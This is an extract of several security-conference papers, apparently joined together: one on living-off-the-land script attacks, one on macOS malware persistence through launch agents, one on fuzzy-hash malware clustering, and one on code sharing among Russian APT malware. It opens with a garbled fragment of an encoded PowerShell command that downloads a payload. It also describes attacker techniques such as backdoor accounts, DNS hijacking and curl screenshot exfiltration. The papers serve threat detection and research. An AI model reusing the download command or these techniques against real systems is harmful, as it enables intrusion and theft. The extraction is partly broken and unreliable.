DownloadAndFiles(REMOVED)\%SC%22\%24\%%temp%\%Cti.js%SC%22\%3B%20Invoke-Item%20\%SC%22\%24\%3Atemp%\%Cti.js%SC%22%2
"TargetMode="External"
```
When decoded and cleaned up, the following PowerShell command line gets executed when the user hovers over the link:

```
```

![Figure 10. Monthly detections of script downloaders](image)

**Trojan.Zlob.Q**

With access to a compromised computer an attacker can modify certain settings to allow for further attacks or to have a fallback back door should everything else be detected and removed. Most of this is achieved with the help of system tools. A common, and low tech method we have seen attackers use to create a back door is by adding a new user account and then enabling RDP services so that the attacker can later connect back to the computer.

Attackers can also redirect network traffic by either setting a new DNS server or adding malicious resolutions to the localhost files. Some financial Trojans change the DNS server settings and then remove themselves, leaving no traces apart from the changed DNS server settings. Trojan.Zlob.Q uses a PowerShell script to change the NameServer entry in the registry, stored under the following key:

```
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\Tcpip\Parameters\Interfaces
```

Since the localhost file has been misused frequently in the past, it is often monitored or even set as read-only by defenders. However, attackers can achieve a similar results by setting the proxy settings for the whole system or just for the browser.
Possible solutions

1. Static detection

Non-PE scripts are obfuscated to make it difficult to comprehend and process by security software. This makes it a challenge for security vendors to add detection using just a plain string. Other detection techniques are required:

- **Emulator**: An emulator for non-PE files can emulate script files like JS, VBS, etc and add detection on the emulated dump.
- **AMSI (Antimalware Scan Interface)**: Is a versatile standard interface that enables defenders to integrate products and services with any antimalware product on a machine. AMSI provides end-users and their data, applications, and workloads with enhanced malware protection.
- **Artificial intelligence**: Machine learning works well with plain text. Once a security tool has access to plain non-PE text data using an emulator or AMSI it can use it to build various attributes and train ML models to classify non-PE malware files.
- **Memory scanner**: The final payload of all LotL is a binary-based malware which runs as a process and is available in memory. Scanning for their memory footprints will detect these kinds of malware.

2. Behavioral detection

- **Policy-based solutions**: Enterprise organizations can implement a set of classified measures that can block uncommon behavior. For example a policy may enforce a rule like: "Powershell.exe can not be started by Microsoft Word."
- **The set of command-line arguments to execute**: LotL binaries can be monitored and used as one of the heuristics to block malicious activities.
- It is costly to monitor the behavior of all clean LotL files constantly but security tools can monitor these binaries only if it is executed with a suspicious command-line.

Conclusion

In recent times, fileless attack techniques with malicious scripts have become the go-to option for attackers allowing them to hide their attacks among legitimate admin-related activities. Using this technique is made much easier by the presence of widely available clean tools. Given these advantages, it’s no surprise that many cybercriminals and targeted attack groups have embraced living off the land tactics.

Symantec expects this trend to continue and so we continue to research and develop tools and techniques to counter this trend such as those outlined in this paper.
References


Demystifying macOS: An investigation into the dynamics of macOS attacks

Akhil Reddy & Bharath Manapati & Rakesh Sharma / FireEye

Abstract

There's a common myth that the macOS is completely secure. While various anti-malware features like the Gatekeeper and XProtect are equipped into the OS, there were scenarios where malware was delivered via 0-day exploits, circumventing all these protections and infecting the users. This proves that even macOS machines need to be monitored for identifying malicious activity. Attackers leverage launch agents and launch daemons to establish persistence and attempt to disguise the property list files to avoid suspicion. Some of these attacks weaponize built-in tools for data exfiltration. Detecting the persistence mechanisms with behavior-based techniques can help users to identify both known and unknown threats and prevent major consequences.

Akhil Reddy is a Research Scientist at FireEye's Operations and Research Center for Endpoint, who specializes in developing behavior based detections. He is responsible for hunting and analysis of new threats, research on exploits and improving detection systems.

Bharath Manapati is a Staff Research Scientist for FireEye's Operations and Research Center for Endpoint, with 11 years of experience in cybersecurity. He is responsible for product improvement and detection coverage improvements for FireEye's Endpoint security suite.

Rakesh Sharma is a Senior Security Researcher working with FireEye for last 2.5 years and has a total of 8+ years of experience. He enjoys analyzing and reversing different types of malware, threat intelligence and malware hunting. He loves to write blogs. He holds Master's degree in Computer Applications. He's trying to develop reading habit.
**Introduction**

Launchd, mother of all processes in macOS, is an init and operating system service management daemon which is responsible for running launch daemons. Launch daemons do not interact with a user and affect the entire system regardless of whether a user is logged in or not. Every time a user logs in, launchd runs launch agents. Property list files are used by the OS to store serialized objects and for each launch agent and daemon, there is a corresponding plist file that contains required configuration information.

These property list files generally follow reverse domain name system for filenames. They begin with a company name, followed by an application name, followed by optional identifiers and end with a .plist extension. These property list files can either specify a file to execute or can contain their own commands.

The plist files for launch agents are present in the following locations:

- `/System/Library/LaunchAgents` — reserved for macOS
- `/Library/LaunchAgents` — all user accounts
- `~/Library/LaunchAgents` — specific user account

The plist files for launch daemons are present in the following locations:

- `/System/Library/LaunchDaemons` — reserved for macOS
- `/Library/LaunchDaemons` — all other applications

**Investigative techniques to detect malware**

**A. Launch Agent (plist) not named in reverse DNS format**

The plist files in LaunchAgents folder which do not follow the reverse domain name system for filenames should be flagged as suspicious and examined to determine maliciousness. Some examples of malicious plist files seen in the past:

<table>
<thead>
<tr>
<th>Malware</th>
<th>Launch Agent (plist)</th>
</tr>
</thead>
<tbody>
<tr>
<td>IMULER</td>
<td>checkvir.plist</td>
</tr>
<tr>
<td>OLYX</td>
<td><a href="http://www.google.com.tstart.plist">www.google.com.tstart.plist</a></td>
</tr>
<tr>
<td>CROSSRAT</td>
<td>mediamgrs.plist</td>
</tr>
<tr>
<td>MACKONTROL</td>
<td>FolderActionsx.plist</td>
</tr>
<tr>
<td>MOKES (old variants)</td>
<td>storeuserd.plist</td>
</tr>
<tr>
<td></td>
<td>profiled.plist</td>
</tr>
<tr>
<td></td>
<td>nacld.plist</td>
</tr>
<tr>
<td></td>
<td>DropboxCache.plist</td>
</tr>
<tr>
<td></td>
<td>SkypeHelper.plist</td>
</tr>
<tr>
<td></td>
<td>com.plist</td>
</tr>
<tr>
<td></td>
<td>SpotlightHelper.plist</td>
</tr>
</tbody>
</table>

*Table 1. Malware and corresponding launch agents which do not follow reverse DNS filenames*
B. Launch Daemon (plist) not named in reverse DNS format

The plist files in LaunchDaemons folder which do not follow the reverse domain name system for filenames should be flagged as suspicious and examined to determine maliciousness.

C. Launch Agent (plist) with name starting with com.apple

The plist files with names starting with com.apple belong to macOS processes or applications and are generally present in /System/Library/LaunchAgents folder which is reserved for them. Any launch agent with such filename outside of the System location should be flagged as suspicious since this can be an attempt by attackers to disguise malicious files. Some examples of malicious plist files seen in the past:

<table>
<thead>
<tr>
<th>Malware</th>
<th>Launch Agent (plist)</th>
</tr>
</thead>
<tbody>
<tr>
<td>KEYDNAP</td>
<td>com.apple.icloud.sync.daemon.plist</td>
</tr>
<tr>
<td>KOMPLEX</td>
<td>com.apple.updates.plist</td>
</tr>
<tr>
<td>CRISIS</td>
<td>com.apple.UIServerLogin.plist</td>
</tr>
</tbody>
</table>

Table 2. Malware and corresponding launch agents which do not follow reverse DNS filenames

D. Launch Daemon (plist) with name starting with com.apple

The plist files with names starting with com.apple belong to macOS processes or applications and are generally present in /System/Library/LaunchDaemons folder which is reserved for them. Any launch daemon with such filename outside of the System location should be flagged as suspicious since this can be an attempt by attackers to disguise malicious files. Example of a malicious plist file seen in the past:

<table>
<thead>
<tr>
<th>Malware</th>
<th>Launch Daemon (plist)</th>
</tr>
</thead>
<tbody>
<tr>
<td>COLDROOT</td>
<td>com.apple.audio.driver.plist</td>
</tr>
</tbody>
</table>

Table 3. : Malware and corresponding launch daemons with plist filenames starting with com.apple

E. Launch Agents and Launch Daemons (plist) with other suspicious names.

Malware authors might disguise the plist files for launch agents and launch daemons by using some prefixes like com.mac, com.OSX, com.macOS, com.macbook, etc. and attempt to hide from novice users.

Relevance to recent malware

Netwire and Mokes are macOS backdoors which were delivered via a Firefox 0-day\(^1\) (CVE-2019-11707) in June 2019\(^2\). Lamepyre, seen in December 2018\(^3\), is another macOS backdoor which masquerades as Discord application.

A. NETWIRE

Netwire is a backdoor which is capable of networking, persistence, executing attacker commands and more. Interestingly, this backdoor is blocked by XProtect as “OSX.Netwire.A” when it is downloaded by conventional means. XProtect has the following rule to prevent execution of Netwire:
Gatekeeper and XProtect scan the applications which have a quarantine attribute set [4]. But since this was delivered by a 0-day, quarantine attribute was not set, and the malware was able to execute successfully on the system.

Upon execution, Netwire creates a new hidden directory named ".defaults" in the current user folder and installs itself in that location as Finder.app. Monitoring the filesystem using fs_usage utility shows that the malware creates a directory structure and copies itself to ~/.defaults/Finder.app/Contents/MacOS/Finder.

After installation, the malware spawns this installed copy. Monitoring the processes using ps utility shows that Netwire runs as Finder from the hidden folder.

Next, the malware connects to its command and control server and awaits further instructions. Monitoring the TCP connections using lsof utility shows this network connection attempt.

The malware persists itself by creating a launch agent, "com.mac.host.plist" in ~/Library/LaunchAgents folder. As the launch agent has RunAtLoad set true, the OS will automatically launch the binary "~/defaults/Finder.app/Contents/MacOS/Finder" specified in ProgramArguments, each time the user logs in.
B. MOKES

Mokes is a backdoor which is capable of networking, persistence and more. When downloaded by conventional means, this malware is blocked by Gatekeeper. But unlike Netwire, this backdoor is not blocked by XProtect. Since XProtect is a signature-based engine, all new threats which are not part of XProtect’s signature base can easily bypass the defense mechanism.

Upon execution, Mokes creates a new directory, com.apple.spotlight, in local user’s Library folder and installs itself in that location. Monitoring the filesystem using fs_usage utility shows that the malware creates the directory and copies itself to ~/Library/com.apple.spotlight/Spotlightd.

After installation, the malware spawns this installed copy. Monitoring the processes using ps utility shows that Mokes runs as Spotlightd.

Next, the malware connects to its command and control server and awaits further instructions. Monitoring the TCP connections using lsof utility shows this network connection attempt.
The malware persists itself by creating a launch agent, "Spotlightd.plist" in ~/Library/LaunchAgents folder. As the launch agent has RunAtLoad set true, the OS will automatically launch the binary "~/Library/com.apple.spotlight/Spotlightd" specified in ProgramArguments, each time the user logs in.

Every launch agent plist generated by this malware has RunAtLoad value set true and ProgramArguments pointed to its corresponding binary installation path. This provides the malware persistence.

All the launch agents created by this malware fall under the category A of "Investigative techniques to detect malware" described above.

### C. LAMEPYRE

Lamepyre is a backdoor capable of data exfiltration, networking, persistence and more. This malware is an Automator script which masquerades as Discord application. Similar to Mokes, Lamepyre is blocked by Gatekeeper but not by XProtect due to the lack of rules in its signature base.

Since this is an Automator script, looking at /Contents/document.wflow file inside the application folder reveals the payload. This payload comprises of a base64 PAYLOAD_DATA blob and commands to capture screenshots and exfiltrate them.
The malware captures Hardware UUID by using `system_profiler` utility and saves it to a variable, `VUID`.

![Figure 11. Extracting hardware UUID using system profiler](image)

The screenshots are captured using built-in `screencapture` utility and saved as `/tmp/alloy.png`. These are continually exfiltrated to attacker machine using `curl`.

![Figure 12. Screencapture exfiltration using curl](image)

Decoding the base64 blob of `PAYLOAD_DATA` reveals some important information like launch agent name, payloads and installation paths.

From Figure 13, it's clear that `PAYLOAD_BASE64` is decoded and copied to `~/.system/ systemkeeper` and `SCREENCAST_BASE64` is decoded and copied to `~/.system/helper`. The launch agent plist is created with the name `com.apple.systemkeeper.plist`.

![Figure 13. Snippets of decoded PAYLOAD_DATA](image)
The file, .systemkeeper, contains python code with another base64 blob. Decoding this final blob reveals that the payload is basically a well-known Empyre backdoor. The file, .helper, contains the same commands used for screencapture exfiltration.

Monitoring the TCP connections using lsof utility shows the network connection attempts.

The malware persists itself by creating a launch agent, “com.apple.systemkeeper.plist” in ~/Library/LaunchAgents folder. As the launch agent has RunAtLoad set true, the OS will automatically launch the scripts, “~/.system/.systemkeeper” and “~/.system/.helper”, specified in ProgramArguments, each time the user logs in.

The launch agent, com.apple.systemkeeper.plist, falls under the category C of “Investigative techniques to detect malware” described above.

Conclusion

The investigative techniques described to flag the persistence mechanisms used by malware authors can be crafted into behavior-based signatures to detect unknown threats proactively in mac threatscape.

References

[1] https://twitter.com/SecurityGuyPhil/status/1141466339518767104
[3] https://twitter.com/patrickwardle/status/1073346520362115072
Abstract

CTPH has been used for similarity analysis in information security industry for more than 10 years and has become one of the most popular and standard fuzzy hashing algorithms used. In Microsoft Defender team, CTPH has been used for sample clustering analysis and malware classification since 2014. With a big success of using it, we also encountered a big issue: it became very expensive to find clusters with certain similarity from a huge number of samples. In order to find similar samples in a short time, we proposed and implemented a simplified CTPH similarity analysis solution to help reduce the cost and still be able to achieve our business requirements.

This presentation is to introduce how we conduct CTPH similarity analysis internally and we will also explore our clustered data, such as we analyzed over 100B samples including PE and non-PE samples, how many of them could be clustered, how many clustered samples could be contributed to our automation solutions, how many of samples are not clustered, and what we can learn from these lonely samples. In addition, we will have some case studies using CTPH data to understand more in real world malware attacks.
What is CTPH?

A fuzzy hashing algorithm

By Jesse Kornblum

- splits a file into blocks
- calculates the checksum value of each block
- transfers each checksum value into a Base64 char
- concatenate all the Base64 chars into a string – CTPH string

CTPH Similarity Analysis

ssdeep, an open source tool released by Jesse Kornblum in 2006, provides functions to calculate a file's CTPH string and check the similarity by percentage.

It uses a modified Levenshtein distance algorithm to measure the similarity of CTPH strings.

The Levenshtein distance is a string metric for measuring the difference between two sequences. Informally, the Levenshtein distance between two words is the minimum number of single-character edits (i.e., insertions, deletions, or substitutions) required to change one word into the other. It is named after Vladimir Levenshtein, who discovered this equation in 1965.

The similarity score between CTPH1 & CTPH2 is: **93% (based on ssdeep)**
CTPH Clustering

to group a set of CTPH strings into clusters so the CTPH strings in the same cluster are more similar compared to those in other clusters

Similarity_Score > 90: (ssdeep)
CTPH Clustering

Similarity Score > 80: (ssdeep)

CTPH Clustering

Similarity Score > 50: (ssdeep)
CTPH Clustering Challenges

The computational complexity of clustering CTPH strings could be: \( O((n*m + n)/2) \)

where \( n \) is the total number of CTPH strings; \( m \) is the average number of clusters.

Very expensive when \( n \) becomes bigger and similarity score is high (multiple clusters)!

\[
\begin{align*}
\text{\( \approx \) AND \( \approx \)}
\end{align*}
\]

What is the best similarity score? Why?

If two files are 90% similarity, what does that mean? How about 100% similarity?

CTPH Block Hashes Analysis
Assumption:

- It is true that if the hash of a block matches, the output Base64 char also matches.
- It is true that if a few connected block hashes match, the output CTPH sub string also matches.
- Mathematically, the probability to find a block hash match will increase along with the length of a matched CTPH sub string.
- We only interests on files with block hash match and the similarity between these files increases along with the increase of the length of a matched CTPH sub string.

Length of sub string:

7 bytes is picked. The probability of collision is:

\[ \frac{1}{64^7} \approx \frac{1}{4,398 \text{ billion}} \]

Clustering methodology:

a. The CTPH long string is chose in this clustering solution.
b. It is split into 5 parts equally and a 7 bytes sub-string from the beginning of each part is chose and save as indexes in 5 groups.
c. shift one-byte right of each part and repeat b, up to 3 more shifts.
d. reverse the long string and repeat b. & c. with 2 more shifts.
e. cluster samples based on indexes in each group.

Computational complexity: \( O(n) \)

Experimental: Cluster 10,000,000 CTPH strings < 30 minutes.
Limitation:

The length of CTPH long string must be greater than 17 bytes, short length CTPH string may be considered in future experimental.

It is normal that one sample could appear in multiple clusters

Code sharing does not guarantee same “family” variant found; additional condition(s) shall apply to counter false positive

Cluster methodology used is a best effort based on observation.
During our daily clustering analysis, we noticed a sudden surge on Aug 28, and a huge cluster was found with various data appended at the end of the original file and made a big noise.

**A Big Coin Miner Family**

Based on our best knowledge, this is a small family that tried to escape Anti-Virus detections by changing a few bytes or append some data including adding certification.

**Case Study B**

Sample A and B: minor different at head and tail
Sample B and C: main difference by adding cert information at end of C
Sample B and D: with a little bit more changes

**A Small Password Stealer Family**
Here are 2 other small clusters from one APT group. Samples are WinWord documents sent via email.

<table>
<thead>
<tr>
<th>SHA256</th>
<th>CTHP</th>
<th>FirstObserved</th>
</tr>
</thead>
<tbody>
<tr>
<td>d2a7256ee602dc80d03310564e06e0eb78807ab2016c19efc5fd9c0f5f5f1e9f1</td>
<td></td>
<td>10/27/2016 00:00</td>
</tr>
<tr>
<td>8be97596f83c8b9800000015f00c9c932ca40dbbc337759434a0049f7c7e12e7</td>
<td></td>
<td>12/13/2016 00:00</td>
</tr>
<tr>
<td>59c76fc8af7852640c8d4286cec6828b6a8135b24d3ff971b63092101f40fe57</td>
<td></td>
<td>2/7/2017 00:00</td>
</tr>
<tr>
<td>fadb91606e09b86c39aad99b452525217563594dc9c610120860a38439adb243</td>
<td></td>
<td>3/30/2017 00:00</td>
</tr>
<tr>
<td>8b86b3e530512976a107794ef548cc5e601ebea218ac311</td>
<td></td>
<td>6/30/2017 00:00</td>
</tr>
</tbody>
</table>

APT Cases

Bibliography

[2] [http://jessekornblum.com/presentations/htcia06.pdf](http://jessekornblum.com/presentations/htcia06.pdf)
[3] [https://ssdeep-project.github.io/ssdeep/index.html](https://ssdeep-project.github.io/ssdeep/index.html)
[4] [https://people.cs.pitt.edu/~kirk/cs1501/Pruhs/Spring2006/assignments/editdistance/Levenshtein%20Distance.htm](https://people.cs.pitt.edu/~kirk/cs1501/Pruhs/Spring2006/assignments/editdistance/Levenshtein%20Distance.htm)
Day 2 / Track 1 Nov 8th

304  The Red Square — Mapping the connections inside Russia’s APT Ecosystem
Itay Cohen / Checkpoint & Ari Eitan / Intezer

316  The North Korean AV Anthology: a unique look on DPRK’s Anti-Virus market
Mark Lechtik & Ariel Jugnheit / Kaspersky

335  Buhtrap metamorphosis: From cybercrime to cyberespionage
Anton Cherepanov & Jean-Ian Boutin / ESET

343  Attacks Against Financial Institutions and Cryptocurrencies
Josep Albors / Ontinet

357  Digital Skimmers: How crooks are spying your online shopping
Rommel Abraham D Joven / Fortinet

378  MoqHao: Targeted Attacks on Android and iOS in Japan
Dhanalakshmi Velusamy / K7 Computing

395  A deep look into the recent “Living of the Land” threats in the wild
Mingwei Zhang & Dennis Tan / Symantec
Targeting Japan: a story from infection vector to C&C server hidden using fast flux and everything in between
Doina Cosovan & Catalin Valeriu Lita / SecurityScorecard

AgentSmith — A New species of Mobile Malware
Aviran Hazum / Checkpoint

The IoT in Jeopardy: The Abuse of Mobile Applications and Cloud Services
Manuel Gatbunton & Shin Li / TrendMicro

ATTOR: Spy platform with curious GSM fingerprinting
Zuzana Hromcova / ESET

Judgement Day
Thomas Siebert / G DATA CyberDefense
The Red Square — Mapping the connections inside Russia's APT Ecosystem

Itay Cohen / Check Point Research & Ari Eitan / Intezer

Abstract

If the names Turla, Sofacy, and APT29 strike fear into your heart, you are not alone. These are known to be some of the most advanced, sophisticated and notorious APT groups out there — and not in vain. These Russian-attributed actors are part of a bigger picture in which Russia is one of the strongest powers in the cyber warfare today. Their advanced tools, unique approaches, and solid infrastructures suggest enormous and complicated operations that involve different military and government entities inside Russia.

During our research, we analyzed approximately 2,000 samples that were attributed to Russia and found 22,000 connections between the samples and 3.85 million non-unique pieces of code that were shared. We classified these samples into 60 families and 200 different modules.

Itay Cohen (aka Megabeets) is a Security Researcher and a Reverse Engineer in the Malware and Vulnerability Research group at Check Point Research. Itay has years of extensive background in malware reverse engineering and many other security related topics. He is the author of https://megabeets.net, a security blog focused on making advanced security topics accessible for free. Itay is a core developer of the open-source reverse engineering framework radare2 and the maintainer of Cutter, radare2’s official GUI. On his free time, he loves to participate in CTF competitions and to contribute to open-source projects.

Ari Eitan is the VP Research of Intezer Labs, a security researcher and Incident Response professional. Ari served as the head of IDF Incident Response team and has vast experience in dealing with Nation-sponsored cyber attacks, specializing in Malware Analysis, Reverse Engineering and Forensics. He has spoken at a variety of security conferences and trainings, including the first BsidesTLV, Kaspersky SAS, and for government organizations and international agencies.
**Prologue пролог**

Russia is known to conduct a wide range of cyber espionage and sabotage operations for the last three decades. Beginning with the first publicly known attacks by Moonlight Maze, in 1996, going through the Pentagon breach in 2008, Blacking out Kyiv in 2016, Hacking the US Elections in 2016, and up to some of the largest most infamous cyberattacks in history — targeting a whole country with NotPetya ransomware.

Indeed, numerous Russian operations and malware families were publicly exposed by different security vendors and intelligence organizations such as the FBI and the Estonian Foreign Intelligence Services. While all of these shed light on specific Russian actors or operations, the bigger picture remains hazy.

The fog behind these complicated operations made us realize that while we know a lot about single actors, we are short of seeing a whole ecosystem with actor interaction (or lack thereof) and particular TTPs that can be viewed in a larger scope. We decided to know more and to look at things from a broader perspective. This led us to gather, classify and analyze thousands of Russian APT malware samples in order to find connections — not only between samples but also between different families and actors.

**Key findings ключевые результаты**

- This research is the first and the most comprehensive of its kind. For the first time, thousands of samples were gathered, classified and analyzed in order to map connections between different cyber espionage organizations of a superpower country.

- In most cases, the Russian actors do not share code with one another. While each actor does reuse its code in different operations and between different malware families, there is no single tool, library or framework that is shared between different actors.

- Every actor or organization under the Russain APT umbrella has its own dedicated malware development teams, working for years in parallel on similar malware toolkits and frameworks. Knowing that a lot of these toolkits serve the same purpose, it is possible to spot redundancy in this parallel activity.

- These findings may suggest that Russia is investing a lot of effort into its operational security. By avoiding different organizations re-using the same tools on a wide range of targets, they overcome the risk that one compromised operation will expose other active operations.

- We were able to verify previously reported connections between different families, supporting it with code similarity analysis as evidence.

- We are releasing several tools to be used by the research community. An interactive map of connections between dozens of Russian APT families and their components. A signature-based tool to scan a host or a file against the most commonly re-used pieces of code by the Russian APTs.

For the complete list of findings and their meaning, please refer to the extended results section.
Getting started

Our journey into this complex ecosystem began, as any thorough research, with a question. To be honest, it wasn’t a single question, but many of them —

- What information is already available publicly?
- What (if any) previous research of this type been conducted before?
- Who are the actors in the Russian APT Ecosystem?
- What are the malware families used by these actors?
- Who are the targeted victims?
- What connections were already found between different actors, families, and samples?
- And more, and more...

This led us to a deep background reading of public information that was shared by other researchers, vendors, and governments. Without the previous research conducted by these people, and without this information we would’ve been lost, so this is the time to say thank you.

After days of reading background materials and publications, it was clearer to us how we should proceed. To put it simply, we split the research into four steps:

1. Gathering samples
2. Classifying the samples
3. Find code similarities between the samples
4. Analyze the found connections

In the chapters below, we will try to explain each of these steps. We will describe what we have done, how we did it and what problems we encountered. If you are not interested in the technical aspects of the research and want to jump straight to the detailed results.

1. Gathering samples

The first step was to gather samples that we know that were attributed to malware families that are associated with official Russian actors. We began by listing the names of the actors and families we read about in the background reading. We searched for technical reports that were published about these names and extracted potentially-valuable Indication of Compromise from them. IOCs are usually posted at the bottom of technical analysis reports and used by researchers as a way to share hashes of the discussed malware samples. This information can later be used by other researchers, vendors and SOC teams.

We then downloaded these samples from VirusTotal and from our internal databases and gathered them all together. Overall, we began with approximately 2,500 unique samples.

2. Classifying

When we find code similarities between two or more samples, we basically know that a sample file A shares a mutual code with another sample file — B. This alone is not enough for us, because we need to know what are these A and B — are they variants or modules of the same family;
do they belong to the same actor; or most important — are these samples part of different families, written by different actors. In order to do this, we need to have a clear understanding of the ascription of each sample. When taking it into practice, we tried to figure out the following information about each and every sample we gathered:

- **Actor** — Which Russian APT actor is known or probable to have written this malware (Turla, Sofacy, GreyEnergy,...)
- **Family** — What is the common family name that is associated with this malware
- **Module** — Many malware families are built in a modular way in which a certain malware can load different payloads embedded in it or downloaded from a Command and Control server. When possible, we wanted to know whether the sample we have is a Keylogger module, a communication module, an injection module or anything else.
- **Version** — Some malware have a clear version stamp embedded in them. We wanted to be able to differentiate between earlier and recent versions, as well as versions that were written to different architectures and bits.

Although on the surface it looks easy, classifying turned out to be one of the most complicated parts of this research.

Starting with this frustrating fact — there is no naming standardization for malware and threat actors in the infosec industry. Every Russian APT actor and every malware family have more than a few names given to them by different vendors, researchers, and intelligence institutions; Some names will be used by different vendors to describe different families; Some malware families would be described with different names by the same vendor; Other malware families simply do not have a clear name. These issues and more, made us face one of the most painful drawbacks of classification and required us to be very careful when we classify a specific piece of malware to a family and an actor.

### 3. Code similarities  СХОДСТВО КОДА

Once we finished collecting and classifying all of the Russian APT samples, we began to cluster them based on the shared unique and malicious code between the different samples. Using Intezer’s Genetic Malware Analysis technology, we automatically disassembled and dissected each binary file into thousands of small pieces of assembly code, also referred to as “genes”. Then, for each and every gene, we checked in which software/malware it was seen previously, by referencing Intezer’s code genome database. This code genome database contains binary genes from both previously seen malicious and legitimate software, which helps us to focus on only the unique and malicious genes per file (without wasting time on shared library code, for example).

Intezer’s technology also helped us to automatically unpack samples which were packed (statically or dynamically), and to ignore the irrelevant binary parts, such as library code. Since the genome database contains all of the genes from the files that we have collected, the output of this process was an automatically generated connections graph, based on the unique Russian code, for further investigation of the results as described in the following sections.
4. Visualizing the connections визуализация связей

Now that we have analyzed thousands of samples for code similarities, it is time to gather all the found connections in one visual place. Our current situation is that we basically have two lists:

1. A list of all the samples
   - Sha256, Label, Actor

2. A list of found connections
   - sha256_sampleA, sha256_sampleB, # of shared genes

This is all we need in order to create an initial graph of connections, in which every sample is a node (vertex), and a connection between two samples is an edge. We created the initial graph using the networkx library for Python and produced a .gexf file that later can be used in our favorite graph visualizer tool, Gephi.

Gephi is an open-source interactive visualization and exploration platform for all kinds of networks and complex systems, dynamic and hierarchical graphs.

GEXF (Graph Exchange XML Format) is a language for describing complex networks structures, their associated data and dynamics.

Source: Gephi website

By loading the produced file to Gephi, we begin with a complex and crowded web of connections. In order to make it look clearer, we’d need to apply some layout algorithms to it.
Without getting too deep into Graph Theory and Graph Drawing, layout algorithms are responsible for the way that vertices and edges are arranged in the graph. This has a direct effect on the aesthetics, understandability, and usability of the graph. For our graph, we chose a Force-Directed layout algorithm, or more specifically — Fruchterman-Reingold algorithm.

Now we can notice some big clusters that are created and bridges between two or more clusters like this. Circular and complete-linkage clusters are most likely to be collections of samples of the same family. Two clusters that are joined together are most likely to belong to the same family (different variants) or to the same ancestry. There are many clusters, big ones, and smaller ones. The different sizes indicate the number of nodes in the cluster. This is something that can be either relevant or irrelevant depending on the situation. We need to remember, after all, a graph will present the data it was given with. Thus, the size of the cluster is directly affected by the number of samples of the same family that were in our dataset. The family may indeed be a big one, but it is possible that the samples of this family were simply more accessible for us.

Now that we have the shape of the graph, let’s add another layer — text, and colors. In our research, we want to show connections between families and actors. Thus, for each node on the graph, we will add a label with its name and a unique color per attributed actor.
Analyzing the connections анализ связей

Now that Gephi did its magic and we have a nice, yet busy, visual graph, it is time to inspect the thousands of connections, starting from the most interesting ones — cross actor edges. A cross-actor edge is a line connecting two nodes that are attributed to different actors. Such a connection, when verified, can indicate that two or more actors shared code.

While there are thousands of inter-family connections on the graph (a code is shared between samples of the same family) and cross-family connections (a code is shared between samples of different families attributed to the same actor), it is uncommon to see cross-actor connections.

In order to analyze the graph and its connections, we used Gephi’s Python API module. We wrote several clean-up scripts to remove and reduce false-positives and false attributions. Then, we extracted a list of connections between samples belong to different actors.

We then moved to our favorite part — reverse-engineering the shared genes in order to verify the unique mutuality or to flag the connection as false-positive.

A false-positive connection, in our terminology, would be a connection which is indeed true (the samples do share code), but not uniquely true. Mutually shared genes that we flagged as false-positive most-likely belong to some version of an open-source library, such as PolarSSL, B-Zip or a fork of any other open-source library.

This part required us to analyze the mutual pieces of code that were shared by two or more samples in order to understand the nature of the connection. By looking at the shared code, we could understand the goal of this code, how it is being used and in what context it was written.

In this part, we also verified that our research was able to spot and detect previously reported connections between samples and actors, be it a TTP connection or a code-connection. In some cases, we are the first to provide code-based evidence for the connections.

Interesting connections интересные связи

Now, with the code connections graph in place, we were able to examine the interesting connections between the different Russian APTs. We have observed many connections between different tools used from the same actors, which ranged between a specific function to a whole module. Code similarities between samples of different actors were much rarer to find and those that we did find are not unique or big enough to indicate that code or modules were actively shared. Here are the highlights of these connections.

BlackEnergy Password Stealer ←→ PinchDuke

Both share credential dumping implementation for Outlook and "The Bat!" — which is a Moldovan email client. We know that PinchDuke is based on an old credential stealer called Pinch (LdPinch) that was distributed in Russian speaking underground forums about a decade ago, and we believe that this shared piece of code between BlackEnergy and PinchDuke has originated from the Pinch source code. Not only that several functions are mutual, but there are also mutual strings — as can be seen in the screenshots below.
As published by McAfee, we also observed identical self-delete functions between BlackEnergy sample from 2015 and the newer Energetic Bear (Dragonfly) sample from 2017. Despite the fact that self-delete functions are pretty common in malware, it is rare to see an exact 1:1 match in the binary level, which matches only for these two malware families out of all the malware families indexed in Intezer's Genome Database. We believe that this function was not actively shared between these actors, but instead, was taken from a public source.

Potao Main Module ←→ X-Agent

Both Potao's main module sample from ESET's publication and X-Agent sample which was uncovered by USCYBERCOM share slightly similar PE Loader implementation. Due to the low percentage of shared code, we cannot call if it was originated from a shared codebase or simply a generic implementation of a PE loader function.

Industroyer ←→ Exaramel

As published by ESET we also observed similar code connecting Exaramel backdoor used by TeleBots group to Industroyer's main backdoor component, which suggests Exaramel is a newer version of this backdoor.
We are happy to conclude the results of our research into two open-source accessible tools. These tools can be an asset for any researcher and security teams that will investigate or research Russian-related attacks.

**Russian APT Map**

The Russian APT map is a web-based, interactive map that shows the different families and actors that are part of the Russian APT ecosystem, as well as the connections between them. The map is basically a one-stop-shop for anyone who is interested to learn and understand the connections and attributions of the samples, modules, families, and actors that together comprise this ecosystem.

The map is intuitive and rich with information. The user can get a full overview of the ecosystem or drill down into specific connections. By clicking on nodes in the graph, a side panel will reveal, containing information about the malware family the node belongs to, as well as links to analysis reports on Intezer’s platform and external links to related articles and publications. Basically, this side-panel is a short identity-card of the entities on the map.
The map and its data are available open-sourced in our repository and we are inviting you all to add more information and improve it.

Figure 9. The map we created to show the connections inside the ecosystem

Figure 10. A side panel with additional information about the nodes
**APT Scanning Tool**

Having access to more than 3.5 Million pieces of code that were shared between the Russian APT samples we gathered, allowed us to understand which unique genes are popular and more likely to be shared between samples, families, and actors. We used this knowledge to write a tool that can be used by organizations, CERT teams, researchers, and individuals to scan a specific file, a folder, or a whole file system, and search for infections by Russian APTs.

The tool, which we named Russian APT Detector, is a set of Yara rules produced by Intezer’s platform. The rules contain byte-sequences of popular mutual code between one or more samples. We then wrapped it up in a binary to ease the use of the tool. The full ruleset can be found in our repository, and can be used freely using your favorite Yara scanner. Don’t hesitate to integrate this ruleset into your platform and toolset.

**Results результаты**

As far as we know, this was the first time that research of this kind, size and comprehension is done. Using publicly known information we were able to gather, classify and analyze thousands of samples attributed to one of the most active and advanced cyber-espionage ecosystem, the Russian. Throughout this research, we analyzed and investigated dozens of potential pieces of code-based evidence that may indicate that code was shared between different Russian military, governmental and intelligence entities.

